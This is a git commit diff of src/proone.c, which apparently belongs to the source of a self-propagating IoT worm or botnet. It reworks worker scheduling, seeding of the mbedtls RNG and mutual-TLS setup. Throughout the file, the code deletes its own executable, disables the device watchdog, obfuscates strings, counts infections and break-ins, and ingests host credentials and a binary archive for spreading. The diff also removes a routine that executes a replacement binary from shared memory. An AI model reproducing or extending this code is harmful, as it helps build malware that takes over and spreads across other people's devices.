diff options
author | David Timber <mieabby@gmail.com> | 2020-01-11 18:03:47 +1100 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-01-11 18:03:47 +1100 |
commit | 10512fc50e6184397206a41c157c09d9b02e9e1a (patch) | |
tree | 5f0779032edf0f0710400ae6c99b9a3f2977735d /src/proone.c | |
parent | 129e12d7685a6ea99fde514ad104a0368a19033d (diff) |
staged resolv_worker
* replaced RNG from `rnd` to `mbedtls_ctr_drbg`
* use of `uint_fastN_t` where appropriate
* heartbeat protocol draft
* improved worker scheduling mech
Diffstat (limited to 'src/proone.c')
-rw-r--r-- | src/proone.c | 626 |
1 files changed, 243 insertions, 383 deletions
diff --git a/src/proone.c b/src/proone.c index c5354ff..be89d23 100644 --- a/src/proone.c +++ b/src/proone.c @@ -15,45 +15,43 @@ #include <sys/mman.h> #include <sys/file.h> #include <sys/wait.h> -#include <sys/random.h> #include "proone.h" +#include "protocol.h" #include "util_rt.h" #include "dvault.h" -#include "heartbeat-worker.h" +#include "llist.h" +// #include "htbt-worker.h" +#include "mbedtls.h" #include "proone_conf/x509.h" struct prne_global prne_g; struct prne_shared_global *prne_s_g = NULL; - -typedef struct { - prne_worker_t worker; - prne_worker_sched_req_t sched_req; -} worker_tuple_t; - -typedef struct { - struct pollfd *arr; - size_t size; -} pollfd_pool_t; - -static worker_tuple_t worker_pool[1]; -static size_t worker_pool_size = 0; +static prne_worker_t resolv_wkr; +static prne_worker_t htbt_wkr; +static prne_worker_t* wkr_arr[2] = { NULL, NULL }; +static prne_llist_t wkr_pool; static void (*proc_fin_call_ptr)(void) = NULL; static bool finalising = false; -static pollfd_pool_t pollfd_pool; - -static prne_rnd_engine_t *mk_rnd_engine (void); +static int int_pipe[2] = { -1, -1 }; +static prne_wkr_pollfd_slot_pt int_pfd = NULL; static void proc_fin_call (void) { if (prne_g.caught_signal != 0) { - size_t i; - worker_tuple_t *wt; + prne_llist_entry_t *cur = wkr_pool.head; + prne_worker_t *w; + + prne_free_wkr_pollfd_slot(int_pfd); + int_pfd = NULL; - for (i = 0; i < worker_pool_size; i += 1) { - wt = worker_pool + i; - wt->worker.fin(wt->worker.ctx); + while (cur != NULL) { + w = (prne_worker_t*)cur->element; + if (!w->has_finalised(w->ctx)) { + w->fin(w->ctx); + } + cur = cur->next; } proc_fin_call_ptr = prne_empty_func; @@ -61,164 +59,150 @@ static void proc_fin_call (void) { } } -static int proone_main (void) { - int exit_code = 0; - size_t i; - worker_tuple_t *wt; - prne_worker_sched_info_t sched_info; - - prne_g.rnd = mk_rnd_engine(); - - // done with the terminal - close(STDIN_FILENO); - close(STDOUT_FILENO); - close(STDERR_FILENO); +static void init_workers (prne_wkr_sched_req_t *sched_req) { + prne_g.resolv = prne_alloc_resolv_worker(&resolv_wkr, sched_req, &prne_g.ssl.rnd); + if (prne_g.resolv != NULL) { + resolv_wkr.id = PRNE_RESOLV_WKR_ID; + wkr_arr[0] = &resolv_wkr; + prne_llist_append(&wkr_pool, &resolv_wkr); + } +} -#ifndef PRNE_DEBUG - signal(SIGPIPE, SIG_IGN); +#ifdef PRNE_DEBUG +static void handle_sigpipe (const int sn) { + // ALWAYS poll() before writing to fd! + abort(); +} #endif - // init workers - if (prne_alloc_heartbeat_worker(&worker_pool[worker_pool_size].worker)) { - worker_pool_size += 1; - } +static int proone_main (void) { +#ifdef PRNE_DEBUG + static const struct timespec DBG_BUSY_CHECK_INT = { 1, 0 }; // 1s +#endif + static int exit_code = 0, poll_ret; + static prne_wkr_tick_info_t tick_info; + static prne_wkr_sched_req_t sched_req; + static prne_llist_entry_t *cur; + static prne_worker_t *wkr; +#ifdef PRNE_DEBUG + static struct { + prne_wkr_sched_req_t sched; + prne_wkr_timeout_slot_pt busy_tos; + bool sched_ret; + } dbg; +#endif - // TODO +#ifdef PRNE_DEBUG + signal(SIGPIPE, handle_sigpipe); +#else + signal(SIGPIPE, SIG_IGN); +#endif - for (i = 0; i < worker_pool_size; i += 1) { - prne_init_worker_sched_req(&worker_pool[i].sched_req, NULL); +#ifdef PRNE_DEBUG + prne_init_wkr_sched_req(&dbg.sched); + dbg.busy_tos = prne_alloc_wkr_timeout_slot(&dbg.sched); + assert(dbg.busy_tos != NULL); +#endif + prne_init_wkr_sched_req(&sched_req); + prne_init_wkr_tick_info(&tick_info); + prne_init_llist(&wkr_pool); + init_workers(&sched_req); + if (pipe(int_pipe) == 0) { + prne_set_pipe_size(int_pipe[0], 1); + prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK)); + prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK)); + prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC)); + prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC)); + } + int_pfd = prne_alloc_wkr_pollfd_slot(&sched_req); + if (int_pfd != NULL) { + int_pfd->pfd.fd = int_pipe[0]; + int_pfd->pfd.events = POLLIN; + } + + if (wkr_pool.size == 0) { + exit_code = 1; + goto END; } - - if (worker_pool_size == 0 || prne_g.caught_signal != 0) { + if (prne_g.caught_signal != 0) { goto END; } proc_fin_call_ptr = proc_fin_call; - - prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.last_tick)); - pollfd_pool.arr = NULL; - pollfd_pool.size = 0; + prne_wkr_tick_info_set_start(&tick_info); while (true) { - prne_worker_sched_flag_t all_sched_flag = PRNE_WORKER_SCHED_FLAG_NONE; - struct timespec timeout; - size_t total_pollfd_size = 0; - bool worked = false; - - prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.this_tick)); - sched_info.tick_diff = prne_sub_timespec(&sched_info.this_tick, &sched_info.last_tick); - sched_info.real_tick_diff = prne_real_timespec(&sched_info.tick_diff); - proc_fin_call_ptr(); - - for (i = 0; i < worker_pool_size; i += 1) { - wt = worker_pool + i; - - if (wt->worker.has_finalised(wt->worker.ctx)) { - continue; - } - wt->worker.work(wt->worker.ctx, &sched_info, &wt->sched_req); - worked |= true; + cur = wkr_pool.head; + while (cur != NULL) { + wkr = (prne_worker_t*)cur->element; - if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_TIMEOUT) { - if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT) { - if (prne_cmp_timespec(&timeout, &wt->sched_req.timeout) > 0) { - timeout = wt->sched_req.timeout; - } - } - else { - timeout = wt->sched_req.timeout; - } + if (wkr->has_finalised(wkr->ctx)) { + cur = prne_llist_erase(&wkr_pool, cur); } - if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) { - total_pollfd_size += wt->sched_req.pollfd_arr_size; + else { + wkr->work(wkr->ctx, &tick_info); + cur = cur->next; } - - all_sched_flag |= wt->sched_req.flags; } - sched_info.last_tick = sched_info.this_tick; - - if (!worked) { - if (!finalising) { - exit_code = 1; - } + if (wkr_pool.size == 0) { + exit_code = finalising ? 0 : 1; break; } - else if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_POLL) { - void *ny_mem; - size_t pollfd_ptr; - - /* FIXME: `total_pollfd_size` could be zero if there's some bug in - * one of the workers. - */ - ny_mem = prne_realloc(pollfd_pool.arr, sizeof(struct pollfd), total_pollfd_size); - if (ny_mem != NULL) { - pollfd_pool.arr = (struct pollfd*)ny_mem; - pollfd_pool.size = total_pollfd_size; - - pollfd_ptr = 0; - for (i = 0; i < worker_pool_size; i += 1) { - wt = &worker_pool[i]; - - if (wt->worker.has_finalised(wt->worker.ctx)) { - continue; - } - - if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) { - wt->sched_req.pollfd_ready = false; - memcpy(pollfd_pool.arr + pollfd_ptr, wt->sched_req.pollfd_arr, wt->sched_req.pollfd_arr_size * sizeof(struct pollfd)); - pollfd_ptr += wt->sched_req.pollfd_arr_size; - } - } - if (ppoll(pollfd_pool.arr, pollfd_pool.size, all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT ? &timeout : NULL, NULL) < 0) { - switch (errno) { - case EINTR: - case ENOMEM: - break; - default: - abort(); - } - } - else { - pollfd_ptr = 0; - for (i = 0; i < worker_pool_size; i += 1) { - wt = &worker_pool[i]; - - if (wt->worker.has_finalised(wt->worker.ctx)) { - continue; - } - - if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) { - wt->sched_req.pollfd_ready = true; - memcpy(wt->sched_req.pollfd_arr, pollfd_pool.arr + pollfd_ptr, wt->sched_req.pollfd_arr_size); - pollfd_ptr += wt->sched_req.pollfd_arr_size; - } - } + poll_ret = -1; + if (prne_wkr_sched_req_prep_poll(&sched_req)) { +#ifdef PRNE_DEBUG + if (!sched_req.timeout_active && sched_req.pfd_arr_size == 0) { + if (!dbg.busy_tos->active) { + dbg.busy_tos->active = true; + dbg.busy_tos->dur = DBG_BUSY_CHECK_INT; } } + else { + dbg.busy_tos->active = false; + } + dbg.sched_ret = prne_wkr_sched_req_prep_poll(&dbg.sched); +#endif + prne_wkr_sched_req_do_poll(&sched_req, &poll_ret); } - else if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT) { - if (nanosleep(&timeout, NULL) < 0 && errno != EINTR) { - abort(); + else { +#ifdef PRNE_DEBUG + dbg.busy_tos->active = false; + dbg.sched_ret = false; +#endif + } + prne_wkr_tick_info_set_tick(&tick_info); + prne_wkr_sched_req_refl_poll(&sched_req, poll_ret, tick_info.tick_diff); +#ifdef PRNE_DEBUG + if (dbg.sched_ret) { + prne_wkr_sched_req_refl_poll(&dbg.sched, 0, tick_info.tick_diff); + if (dbg.busy_tos->active && dbg.busy_tos->reached) { + const double real_int = prne_real_timespec(DBG_BUSY_CHECK_INT); + dbg.busy_tos->active = false; + fprintf(stderr, "* workers have been busy for %.1f second%s straight.\n", real_int, real_int <= 1.0 ? "" : "s"); } } +#endif } END: - prne_free(pollfd_pool.arr); - pollfd_pool.arr = NULL; - pollfd_pool.size = 0; - - for (i = 0; i < worker_pool_size; i += 1) { - wt = &worker_pool[i]; - wt->worker.free(wt->worker.ctx); - wt->sched_req.mem_func.free(&wt->sched_req); - } - - prne_free_rnd_engine(prne_g.rnd); - prne_g.rnd = NULL; + for (size_t i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t*); i += 1) { + if (wkr_arr[i] == NULL) { + continue; + } + wkr_arr[i]->free(wkr_arr[i]->ctx); + wkr_arr[i] = NULL; + } + prne_free_llist(&wkr_pool); + prne_free_wkr_pollfd_slot(int_pfd); + prne_free_wkr_tick_info(&tick_info); + prne_free_wkr_sched_req(&sched_req); +#ifdef PRNE_DEBUG + prne_free_wkr_timeout_slot(dbg.busy_tos); + prne_free_wkr_sched_req(&dbg.sched); +#endif return exit_code; } @@ -226,7 +210,7 @@ END: static bool ensure_single_instance (void) { prne_g.lock_shm_fd = shm_open( prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL), - O_RDWR | O_CREAT | O_TRUNC, + O_RDWR | O_CREAT, 0666); prne_dvault_reset_dict(); if (prne_g.lock_shm_fd < 0) { @@ -234,7 +218,7 @@ static bool ensure_single_instance (void) { } if (flock(prne_g.lock_shm_fd, LOCK_EX | LOCK_NB) < 0) { - close(prne_g.lock_shm_fd); + prne_close(prne_g.lock_shm_fd); prne_g.lock_shm_fd = -1; return false; @@ -278,7 +262,7 @@ static void disasble_watchdog (void) { for (i = 0; i < sizeof(watchdog_paths) / sizeof(const char*); i += 1) { if ((fd = open(watchdog_paths[i], O_RDWR)) >= 0) { ioctl(fd, 0x80045704, &one); - close(fd); + prne_close(fd); break; } } @@ -286,11 +270,10 @@ static void disasble_watchdog (void) { } static void handle_interrupt (const int sig) { - prne_g.caught_signal = sig; + uint8_t rubbish = 0; - if (prne_g.proone_pid != 0) { - kill(prne_g.proone_pid, sig); - } + prne_g.caught_signal = sig; + write(int_pipe[1], &rubbish, 1); } static void setup_signal_actions (void) { @@ -305,30 +288,6 @@ static void setup_signal_actions (void) { sigaction(SIGTERM, &sa, NULL); } -static void print_ready_signature (prne_rnd_engine_t *rnd) { - size_t len; - uint8_t *sig_data; - char *plain_str, *sig_str; - - plain_str = prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_SIGN_INIT_OK, &len); - - sig_data = (uint8_t*)prne_malloc(1, len + 1); - sig_data[0] = (uint8_t)(prne_rnd_gen_int(rnd) % 256); - memcpy(sig_data + 1, plain_str, len); - prne_dvault_reset_dict(); - prne_dvault_invert_mem(len, sig_data + 1, sig_data[0]); - - sig_str = prne_enc_base64_mem(sig_data, len); - if (sig_str == NULL) { - abort(); - } - - puts(sig_str); - - prne_free(sig_str); - prne_free(sig_data); -} - static void read_host_credential (void) { static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3; char *buf = (char*)prne_malloc(1, buf_size); @@ -345,8 +304,12 @@ static void read_host_credential (void) { break; } } - if (found) { - prne_dec_base64_mem(buf, i, &prne_g.host_cred_data, &prne_g.host_cred_size); + if (found && + prne_dec_base64_mem(buf, i, &prne_g.host_cred_data, &prne_g.host_cred_size) && + prne_g.host_cred_size > 1 + 2 + 255 * 2) { + prne_free(prne_g.host_cred_data); + prne_g.host_cred_data = NULL; + prne_g.host_cred_size = 0; } END: @@ -357,143 +320,54 @@ static void set_env (void) { // environment set up function calls in here } -static void create_ny_bin_shm (prne_rnd_engine_t *rnd) { - const size_t str_len = 1 + 10; - - prne_g.ny_bin_shm_name = prne_malloc(1, str_len + 1); - if (prne_g.ny_bin_shm_name == NULL) { - return; - } - - prne_g.ny_bin_shm_name[0] = '/'; - prne_g.ny_bin_shm_name[str_len] = 0; - prne_rnd_anum_str(rnd, prne_g.ny_bin_shm_name + 1, str_len - 1); - - prne_g.ny_bin_shm_fd = shm_open(prne_g.ny_bin_shm_name, O_RDWR | O_CREAT | O_TRUNC, 0000); - if (prne_g.ny_bin_shm_fd < 0) { - prne_free(prne_g.ny_bin_shm_name); - prne_g.ny_bin_shm_name = NULL; - } -} - -static void exec_ny_bin (void) { - // Just die on error - static const size_t proc_fd_path_size = 14 + 11 + 1; - uint8_t *data, *bin = NULL; - size_t i, args_size, bin_size, argc = 0, cnt; - char *arg_str; - const char **args; - struct stat st; - char *proc_fd_path; - char *real_shm_path; - - if (prne_g.ny_bin_shm_fd < 0) { - return; - } - - if (fstat(prne_g.ny_bin_shm_fd, &st) < 0 || st.st_size < 0) { - abort(); - } - if (st.st_size == 0) { - if (prne_s_g->has_ny_bin) { - abort(); +static void load_ssl_conf (void) { + if (mbedtls_x509_crt_parse(&prne_g.ssl.ca, (const uint8_t*)PRNE_X509_CA_CRT, sizeof(PRNE_X509_CA_CRT) - 1) == 0) { + prne_g.s_ssl.ready = + mbedtls_ssl_config_defaults(&prne_g.s_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && + mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, (const uint8_t*)PRNE_X509_S_CRT, sizeof(PRNE_X509_S_CRT) - 1) == 0 && + mbedtls_pk_parse_key(&prne_g.s_ssl.pk, (const uint8_t*)PRNE_X509_S_KEY, sizeof(PRNE_X509_S_KEY) - 1, NULL, 0) == 0 && + mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, (const uint8_t*)PRNE_X509_DH, sizeof(PRNE_X509_DH) - 1) == 0 && + mbedtls_ssl_conf_own_cert(&prne_g.s_ssl.conf, &prne_g.s_ssl.crt, &prne_g.s_ssl.pk) == 0 && + mbedtls_ssl_conf_dh_param_ctx(&prne_g.s_ssl.conf, &prne_g.s_ssl.dhm) == 0; + if (prne_g.s_ssl.ready) { + mbedtls_ssl_conf_ca_chain(&prne_g.s_ssl.conf, &prne_g.ssl.ca, NULL); + // mutual auth + mbedtls_ssl_conf_authmode(&prne_g.s_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED); + // ignore expired cert (system wall clock might not be set) + mbedtls_ssl_conf_verify(&prne_g.s_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL); } - return; - } - data = (uint8_t*)mmap(NULL, (size_t)st.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, prne_g.ny_bin_shm_fd, 0); - for (i = 1; i <= (size_t)st.st_size; i += 1) { - if (data[st.st_size - i] == 0) { - bin = &data[st.st_size - i + 1]; - break; - } - } - - if (bin == NULL) { - abort(); - } - args_size = bin - data; - bin_size = st.st_size - args_size; - arg_str = prne_malloc(1, args_size); - memcpy(arg_str, data, args_size); - - memmove(bin, data, bin_size); - - munmap(data, (size_t)st.st_size); - data = NULL; - ftruncate(prne_g.ny_bin_shm_fd, bin_size); - for (i = 0; i < args_size; i += 1) { - if (arg_str[i] == 0) { - argc += 1; + prne_g.c_ssl.ready = + mbedtls_ssl_config_defaults(&prne_g.c_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && + mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, (const uint8_t*)PRNE_X509_C_CRT, sizeof(PRNE_X509_C_CRT) - 1) == 0 && + mbedtls_pk_parse_key(&prne_g.c_ssl.pk, (const uint8_t*)PRNE_X509_C_KEY, sizeof(PRNE_X509_C_KEY) - 1, NULL, 0) == 0 && + mbedtls_ssl_conf_own_cert(&prne_g.c_ssl.conf, &prne_g.c_ssl.crt, &prne_g.c_ssl.pk) == 0; + if (prne_g.c_ssl.ready) { + mbedtls_ssl_conf_ca_chain(&prne_g.c_ssl.conf, &prne_g.ssl.ca, NULL); + // mutual auth + mbedtls_ssl_conf_authmode(&prne_g.c_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED); + // ignore expired cert (system wall clock might not be set) + mbedtls_ssl_conf_verify(&prne_g.c_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL); } } - args = prne_malloc(sizeof(const char*), argc + 1); - cnt = 1; - for(i = 1; cnt < argc; i += 1) { - if (arg_str[i] == 0) { - args[cnt] = &arg_str[i + 1]; - cnt += 1; - } - } - args[argc] = NULL; - - proc_fd_path = prne_malloc(1, proc_fd_path_size); - snprintf(proc_fd_path, proc_fd_path_size, "/proc/self/fd/%d", prne_g.ny_bin_shm_fd); - if (lstat(proc_fd_path, &st) < 0) { - abort(); - } - - real_shm_path = prne_malloc(1, st.st_size + 1); - if (readlink(proc_fd_path, real_shm_path, st.st_size) != st.st_size) { - abort(); - } - - fchmod(prne_g.ny_bin_shm_fd, 0777); - close(prne_g.ny_bin_shm_fd); - prne_g.ny_bin_shm_fd = -1; - - args[0] = proc_fd_path; - if (execv(real_shm_path, (char *const*)args) < 0) { - abort(); - } } -static void init_ssl (void) { - if (mbedtls_x509_crt_parse(&prne_g.ca, (const uint8_t*)PRNE_X509_CA_CRT, sizeof(PRNE_X509_CA_CRT) - 1) != 0) { - return; - } - - prne_g.s_ssl_ready = - mbedtls_ssl_config_defaults(&prne_g.s_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && - mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, (const uint8_t*)PRNE_X509_S_CRT, sizeof(PRNE_X509_S_CRT) - 1) == 0 && - mbedtls_pk_parse_key(&prne_g.s_ssl.pk, (const uint8_t*)PRNE_X509_S_KEY, sizeof(PRNE_X509_S_KEY) - 1, NULL, 0) == 0 && - mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, (const uint8_t*)PRNE_X509_DH, sizeof(PRNE_X509_DH) - 1) == 0 && - mbedtls_ssl_conf_own_cert(&prne_g.s_ssl.conf, &prne_g.s_ssl.crt, &prne_g.s_ssl.pk) == 0 && - mbedtls_ssl_conf_dh_param_ctx(&prne_g.s_ssl.conf, &prne_g.s_ssl.dhm) == 0; - if (prne_g.s_ssl_ready) { - mbedtls_ssl_conf_ca_chain(&prne_g.s_ssl.conf, &prne_g.ca, NULL); - } - - prne_g.c_ssl_ready = - mbedtls_ssl_config_defaults(&prne_g.c_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && - mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, (const uint8_t*)PRNE_X509_C_CRT, sizeof(PRNE_X509_C_CRT) - 1) == 0 && - mbedtls_pk_parse_key(&prne_g.c_ssl.pk, (const uint8_t*)PRNE_X509_C_KEY, sizeof(PRNE_X509_C_KEY) - 1, NULL, 0) == 0 && - mbedtls_ssl_conf_own_cert(&prne_g.c_ssl.conf, &prne_g.c_ssl.crt, &prne_g.c_ssl.pk) == 0; - if (prne_g.c_ssl_ready) { - mbedtls_ssl_conf_ca_chain(&prne_g.c_ssl.conf, &prne_g.ca, NULL); +static void seed_ssl_rnd (const uint8_t *seed, const size_t slen) { + if (mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, seed, slen) != 0) { + mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, NULL, 0); } } -static void init_shared_global (prne_rnd_engine_t *rnd) { +static void init_shared_global (void) { // just die on error - const size_t str_len = 1 + 10; + const size_t str_len = 1 + 30; int fd; char *name; name = prne_malloc(1, str_len + 1); name[0] = '/'; name[str_len] = 0; - prne_rnd_anum_str(rnd, name + 1, str_len - 1); + prne_rnd_anum_str(&prne_g.ssl.rnd, name + 1, str_len - 1); fd = shm_open(name, O_RDWR | O_CREAT | O_TRUNC, 0000); if (fd < 0) { @@ -509,60 +383,63 @@ static void init_shared_global (prne_rnd_engine_t *rnd) { if (prne_s_g == NULL) { abort(); } - close(fd); + prne_close(fd); prne_s_g->bne_cnt = 0; prne_s_g->infect_cnt = 0; - prne_s_g->has_ny_bin = false; } int main (const int argc, char **args) { - int exit_code = 0; - prne_rnd_engine_t *rnd = NULL; + static int exit_code = 0; + static int exit_pipe[2] = { -1, -1 }; prne_g.host_cred_data = NULL; prne_g.host_cred_size = 0; - prne_g.ny_bin_shm_name = NULL; - prne_g.rnd = NULL; memset(&prne_g.god_start, 0, sizeof(struct timespec)); prne_g.run_cnt = 0; + prne_g.resolv = NULL; + prne_g.god_exit_evt = -1; prne_g.caught_signal = 0; prne_g.god_pid = getpid(); prne_g.proone_pid = 0; prne_g.lock_shm_fd = -1; - prne_g.ny_bin_shm_fd = -1; prne_g.bin_ready = false; + prne_g.is_child = false; prne_init_unpack_bin_archive_result(&prne_g.bin_pack); prne_init_bin_archive(&prne_g.bin_archive); - mbedtls_x509_crt_init(&prne_g.ca); + mbedtls_x509_crt_init(&prne_g.ssl.ca); + mbedtls_entropy_init(&prne_g.ssl.entpy); + mbedtls_ctr_drbg_init(&prne_g.ssl.rnd); mbedtls_ssl_config_init(&prne_g.s_ssl.conf); mbedtls_x509_crt_init(&prne_g.s_ssl.crt); mbedtls_pk_init(&prne_g.s_ssl.pk); mbedtls_dhm_init(&prne_g.s_ssl.dhm); - prne_g.s_ssl_ready = false; + prne_g.s_ssl.ready = false; mbedtls_ssl_config_init(&prne_g.c_ssl.conf); mbedtls_x509_crt_init(&prne_g.c_ssl.crt); mbedtls_pk_init(&prne_g.c_ssl.pk); - prne_g.c_ssl_ready = false; + prne_g.c_ssl.ready = false; // inits that need no outside resources prne_init_dvault(); - init_ssl(); set_env(); + if (pipe(exit_pipe) == 0) { + prne_set_pipe_size(exit_pipe[0], 1); + prne_ok_or_die(fcntl(exit_pipe[0], F_SETFL, O_NONBLOCK)); + prne_ok_or_die(fcntl(exit_pipe[1], F_SETFL, O_NONBLOCK)); + prne_ok_or_die(fcntl(exit_pipe[0], F_SETFD, FD_CLOEXEC)); + prne_ok_or_die(fcntl(exit_pipe[1], F_SETFD, FD_CLOEXEC)); + prne_g.god_exit_evt = exit_pipe[0]; + } /* inits that need outside resources. IN THIS ORDER! */ - if (!ensure_single_instance()) { - exit_code = 1; - goto END; - } - rnd = mk_rnd_engine(); - init_shared_global(rnd); - create_ny_bin_shm(rnd); + load_ssl_conf(); + seed_ssl_rnd(NULL, 0); + init_shared_global(); delete_myself(args[0]); disasble_watchdog(); - print_ready_signature(rnd); read_host_credential(); // get fed with the bin archive prne_g.bin_pack = prne_unpack_bin_archive(STDIN_FILENO); @@ -570,9 +447,21 @@ int main (const int argc, char **args) { prne_g.bin_ready = prne_index_bin_archive(&prne_g.bin_pack, &prne_g.bin_archive) == PRNE_INDEX_BIN_ARCHIVE_OK; } + if (!ensure_single_instance()) { + exit_code = 1; + goto END; + } + + // done with the terminal + prne_close(STDIN_FILENO); + prne_close(STDOUT_FILENO); +#ifndef PRNE_DEBUG + prne_close(STDERR_FILENO); +#endif + setup_signal_actions(); - prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.god_start)); + prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.god_start)); // main loop while (prne_g.caught_signal == 0) { @@ -582,11 +471,8 @@ int main (const int argc, char **args) { prne_g.run_cnt += 1; } - if (prne_g.proone_pid < 0) { - sleep(1); - } - else if (prne_g.proone_pid > 0) { - int status; + if (prne_g.proone_pid > 0) { + static int status; while (prne_g.caught_signal == 0) { if (waitpid(prne_g.proone_pid, &status, 0) < 0) { @@ -597,29 +483,36 @@ int main (const int argc, char **args) { continue; } } - - prne_g.proone_pid = 0; break; } - if (!WIFEXITED(status)) { - sleep(3); - continue; + if (WIFEXITED(status)) { + if (WEXITSTATUS(status) == 0) { + break; + } +#ifdef PRNE_DEBUG + fprintf(stderr, "* child process %d exited with code %d!\n", prne_g.proone_pid, WEXITSTATUS(status)); +#endif } - if (WEXITSTATUS(status) == 0) { - break; + else if (WIFSIGNALED(status)) { +#ifdef PRNE_DEBUG + fprintf(stderr, "* child process %d received signal %d!\n", prne_g.proone_pid, WTERMSIG(status)); +#endif } + + sleep(1); } else { - prne_free(prne_g.ny_bin_shm_name); - close(prne_g.lock_shm_fd); + prne_close(prne_g.lock_shm_fd); prne_g.lock_shm_fd = -1; - prne_g.ny_bin_shm_name = NULL; + prne_g.is_child = true; + seed_ssl_rnd((const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY)); exit_code = proone_main(); break; } } + prne_g.proone_pid = 0; END: prne_free_bin_archive(&prne_g.bin_archive); @@ -630,12 +523,14 @@ END: mbedtls_x509_crt_free(&prne_g.s_ssl.crt); mbedtls_pk_free(&prne_g.s_ssl.pk); mbedtls_dhm_free(&prne_g.s_ssl.dhm); - prne_g.s_ssl_ready = false; + prne_g.s_ssl.ready = false; mbedtls_ssl_config_free(&prne_g.c_ssl.conf); mbedtls_x509_crt_free(&prne_g.c_ssl.crt); mbedtls_pk_free(&prne_g.c_ssl.pk); - prne_g.c_ssl_ready = false; - mbedtls_x509_crt_free(&prne_g.ca); + prne_g.c_ssl.ready = false; + mbedtls_x509_crt_free(&prne_g.ssl.ca); + mbedtls_ctr_drbg_free(&prne_g.ssl.rnd); + mbedtls_entropy_free(&prne_g.ssl.entpy); prne_free(prne_g.host_cred_data); prne_g.host_cred_data = NULL; @@ -644,50 +539,15 @@ END: if (prne_g.lock_shm_fd >= 0) { shm_unlink(prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL)); prne_dvault_reset_dict(); - close(prne_g.lock_shm_fd); + prne_close(prne_g.lock_shm_fd); prne_g.lock_shm_fd = -1; } prne_deinit_dvault(); - prne_free_rnd_engine(rnd); - rnd = NULL; - - - if (prne_s_g->has_ny_bin) { - exec_ny_bin(); - } - - if (prne_g.ny_bin_shm_name != NULL) { - shm_unlink(prne_g.ny_bin_shm_name); - prne_free(prne_g.ny_bin_shm_name); - } - close(prne_g.ny_bin_shm_fd); - prne_g.ny_bin_shm_name = NULL; - prne_g.ny_bin_shm_fd = -1; + write(exit_pipe[1], &exit_code, sizeof(int)); + prne_close(exit_pipe[0]); + prne_close(exit_pipe[1]); return exit_code; } - -static prne_rnd_engine_t *mk_rnd_engine (void) { - uint32_t seed = 0; - prne_rnd_engnie_alloc_result_t ret; - - getrandom(&seed, sizeof(uint32_t), 0); - - if (seed == 0) { - // fall back to seeding with what's available. - seed = - (uint32_t)(time(NULL) % 0xFFFFFFFF) ^ - (uint32_t)(getpid() % 0xFFFFFFFF) ^ - (uint32_t)(getppid() % 0xFFFFFFFF) ^ - (uint32_t)(clock() % 0xFFFFFFFF); - } - - ret = prne_alloc_rnd_engine(seed == 0 ? NULL : &seed); - if (ret.result != PRNE_RND_ENGINE_ALLOC_OK) { - abort(); - } - - return ret.engine; -} |